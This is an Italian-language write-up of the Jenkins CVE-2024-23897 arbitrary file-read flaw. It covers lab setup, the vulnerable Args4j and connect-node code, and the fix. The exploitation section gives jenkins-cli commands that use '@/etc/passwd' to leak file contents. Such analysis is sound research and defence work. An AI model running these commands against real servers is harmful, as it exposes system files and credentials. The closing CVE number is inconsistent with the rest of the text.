
[CVE-2024-23897] Jenkins CI: lettura arbitraria di file autenticata tramite CLI porta a esecuzione remota di codice (RCE)
Jenkins è uno strumento DevOps open source autonomo di automazione software per l'integrazione continua/la distribuzione e l'implementazione continua (CI/CD), scritto nel linguaggio di programmazione Java. Viene utilizzato per implementare flussi di lavoro CI/CD, chiamati pipeline.
Jenkins dispone di un'interfaccia a riga di comando (CLI) integrata per accedere a Jenkins da uno script o da un ambiente shell. Jenkins utilizza la libreria Args4j per analizzare gli argomenti e le opzioni dei comandi sul controller Jenkins durante l'elaborazione dei comandi CLI. Questo parser di comandi dispone di una funzionalità che sostituisce un carattere @ seguito da un percorso di file in un argomento con il contenuto del file (expandAtFiles). Questa funzionalità è abilitata per impostazione predefinita e Jenkins 2.441 e versioni precedenti, LTS 2.426.2 e versioni precedenti non la disabilitano.
Ciò consente agli aggressori di leggere file arbitrari sul file system del controller Jenkins utilizzando la codifica dei caratteri predefinita del processo del controller Jenkins.
Preparazione dell'ambiente
root@kali:~$ docker pull jenkins/jenkins:2.440-jdk17
root@kali:~$ docker run -d -p 9091:8080 -p 50000:50000 --name murat2-jenkins jenkins/jenkins:2.440-jdk17
root@kali:~$ docker exec -t murat2-jenkins cat /var/jenkins_home/secrets/initialAdminPassword

Codice vulnerabile
Va notato che questa vulnerabilità è stata scoperta dal Vulnerability Research Team di SonarSource e questa sezione è tratta dal post tecnico del blog di SonarSource.
Il codice vulnerabile si trova nella libreria Args4j,
private String[] expandAtFiles(String args[]) throws CmdLineException {
List < String > result = new ArrayList < String > ();
for (String arg: args) {
if (arg.startsWith("@")) {
File file = new File(arg.substring(1));
if (!file.exists()) throw new CmdLineException(this, Messages.NO_SUCH_FILE, file.getPath());
try {
result.addAll(readAllLines(file));
} catch(IOException ex) {
throw new CmdLineException(this, "Failed to parse " + file, ex);
}
} else {
result.add(arg);
}
}
return result.toArray(new String[result.size()]);
}
Il metodo expandAtFiles nella classe CmdLineParser.java sostanzialmente sostituisce un carattere @ seguito da un percorso di file in un argomento con il contenuto del file: controlla se l'argomento inizia con il carattere @ e, in tal caso, legge il file nel percorso dopo @ ed espande un nuovo argomento per ogni riga. Ciò significa che se un aggressore può controllare un argomento, può espanderlo in un numero arbitrario di argomenti da un file arbitrario sull'istanza Jenkins.
Un modo in cui un aggressore potrebbe sfruttare questa funzionalità è trovare un comando che accetti un numero arbitrario di argomenti e li mostri all'utente. Poiché gli argomenti vengono popolati dal contenuto del file, un aggressore può così divulgare il contenuto del file. A questo scopo, il comando connect-node in hudson/cli è un buon candidato: riceve un elenco di stringhe come argomento e tenta di connettersi a ciascuna di esse. Se la connessione fallisce, viene generato un messaggio di errore con il nome del nodo a cui la connessione non è riuscita.
public class ConnectNodeCommand extends CLICommand {
@Argument(
metaVar = "NAME",
usage = "Agent name, or empty string for built-in node; comma-separated list is supported",
required = true,
multiValued = true
)
private List < String > nodes;
//...
@Override
protected int run() throws Exception {
//...
for (String node_s: hs) {
try {
Computer computer = Computer.resolveForCLI(node_s);
computer.cliConnect(force);
} catch(Exception e) {
//...
final String errorMsg = node_s + ": " + e.getMessage();
stderr.println(errorMsg);
//...
}
}
//...
}
}
Questo comando connect-node richiederebbe normalmente il permesso CONNECT, che viene verificato nella funzione cliConnect. Ma poiché l'eccezione viene generata prima del controllo dei permessi nella funzione resolveForCLI, il comando in realtà non richiede alcuna autorizzazione oltre alla verifica iniziale di sola lettura.
Fasi di sfruttamento
Normalmente, il carattere @ in Jenkins-cli viene utilizzato per specificare un file contenente il bearer token o username:password da un file.
L'uso di un comando autenticato con Jenkins-cli produrrà il seguente output:
root@kali:~$ java -jar jenkins-cli.jar -s http://127.0.0.1:9091 -http connect-node "@/etc/passwd"

L'uso del carattere @ per specificare il file credentials.txt nell'opzione -auth produce quanto segue:
root@kali:~$ java -jar jenkins-cli.jar -s http://127.0.0.1:9091 -auth @credentials.txt -http connect-node "@/etc/passwd"

Analisi della patch
Il team di sicurezza di Jenkins ha risolto la CVE-2024-23897 introducendo una configurazione sicura che disabilita la funzionalità expandAtFiles. La patch include l'aggiunta di una verifica dell'origine all'endpoint WebSocket per la CVE-2024-23898, impedendo l'accesso non autorizzato.
Commit pertinente: jenkinsci/jenkins@554f037

ALLOW_AT_SYNTAX: questa variabile è un booleano che indica se la sintassi '@' è consentita. Viene letta dalle proprietà di sistema.ParserProperties: questa classe fornisce le proprietà per configurare CmdLineParser.withAtSyntax(ALLOW_AT_SYNTAX): imposta la proprietà 'allowAtSyntax' in ParserProperties in base al valore di ALLOW_AT_SYNTAX.new CmdLineParser(this, properties): crea una nuova istanza di CmdLineParser, passando l'oggetto corrente (this) e le ParserProperties configurate.Ulteriori informazioni sulla vulnerabilità CVE-2024-34897 e i crediti sono i seguenti: